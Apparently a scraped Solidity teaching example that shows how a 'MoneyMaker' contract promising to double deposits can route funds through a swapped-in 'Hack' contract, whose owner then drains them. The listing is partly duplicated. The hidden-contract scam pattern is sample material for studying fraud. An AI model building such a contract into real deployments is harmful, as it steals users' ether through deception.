1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.13;
contract MoneyMaker { Vault vault;
constructor(address _vault) { vault = Vault(payable(_vault)); }
function makeMoney(address recipient) public payable { require(msg.value >= 1, "You are so poor!");
uint256 amount = msg.value * 2;
(bool success, ) = address(vault).call{value: msg.value, gas: 2300}(""); require(success, "Send failed");
vault.transfer(recipient, amount); } } contract Vault { address private maker; address private owner; uint256 transferGasLimit;
constructor() payable { owner = msg.sender; transferGasLimit = 2300; }
modifier OnlyMaker() { require(msg.sender == maker, "Not MoneyMaker contract!"); _; }
modifier OnlyOwner() { require(msg.sender == owner, "Not owner!"); _; }
function setMacker(address _maker) public OnlyOwner { maker = _maker; } function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~");
(bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( "" ); require(success, "Send failed"); }
function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); }
receive() external payable {}
fallback() external payable {} }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13;
contract MoneyMaker { Vault vault;
constructor(address _vault) { vault = Vault(payable(_vault)); }
function makeMoney(address recipient) public payable { require(msg.value >= 1, "You are so poor!");
uint256 amount = msg.value * 2;
(bool success, ) = address(vault).call{value: msg.value, gas: 2300}(""); require(success, "Send failed");
vault.transfer(recipient, amount); } }
contract Vault { address private maker; address private owner; uint256 transferGasLimit;
constructor() payable { owner = msg.sender; transferGasLimit = 2300; }
modifier OnlyMaker() { require(msg.sender == maker, "Not MoneyMaker contract!"); _; }
modifier OnlyOwner() { require(msg.sender == owner, "Not owner!"); _; }
function setMacker(address _maker) public OnlyOwner { maker = _maker; }
function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~");
(bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( "" ); require(success, "Send failed"); }
function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); }
receive() external payable {}
fallback() external payable {} }
// This code is hidden in a separate file contract Hack { event taunt(string message); address private evil;
constructor(address _evil) { evil = _evil; }
modifier OnlyEvil() { require(msg.sender == evil, "What are you doing?"); _; }
function transfer() public payable { emit taunt("Haha, your ether is mine!"); }
function withrow() public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( "" ); require(success, "Send failed"); }
receive() external payable {}
fallback() external payable {} }
|